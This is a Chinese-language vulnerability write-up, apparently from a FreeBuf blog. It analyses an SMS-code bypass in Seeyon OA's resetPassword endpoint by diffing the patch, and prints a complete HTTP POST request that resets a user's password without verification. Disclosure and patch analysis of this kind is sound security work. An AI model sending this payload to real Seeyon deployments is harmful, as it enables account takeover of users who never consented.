深信服华中天慧战队:致远OA 短信验证码绕过重置密码漏洞分析
下载补丁
进入idea搜索该类
将该文件与补丁进行比较
初步分析发现漏洞点主要出现在resetPassword方法,补丁中通过if语句增加了登录验证
看不懂代码可以丢给chatgpt分析一下代码
阅读代码后发现只判断了loginName是否为空,不为空则通过loginName查找绑定的手机号手机号
然后通过手机号重置密码,中间的if判断不需要验证码
分析完漏洞触发点,接着该考虑如何利用该漏洞。
发现post传入json数据,参数是loginName和password,相对路径是/phoneCode/resetPassword
利用vscode打开致远oa源代码文件夹ApacheJetspeed,搜索phoneCode/resetPassword,发现完整/rest/phoneLogin/phoneCode/resetPassword。因为致远oa前面路由都得加上/seeyon,所以完整路径为/seeyon/rest/phoneLogin/phoneCode/resetPassword
构造payload
POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: 192.168.136.55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 45
Content-Type: application/json
Accept-Encoding: gzip
{"loginName": "test","password":"1qaz@WSX"}
修改成功
存在漏洞但该用户未绑定手机号
漏洞修复后
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐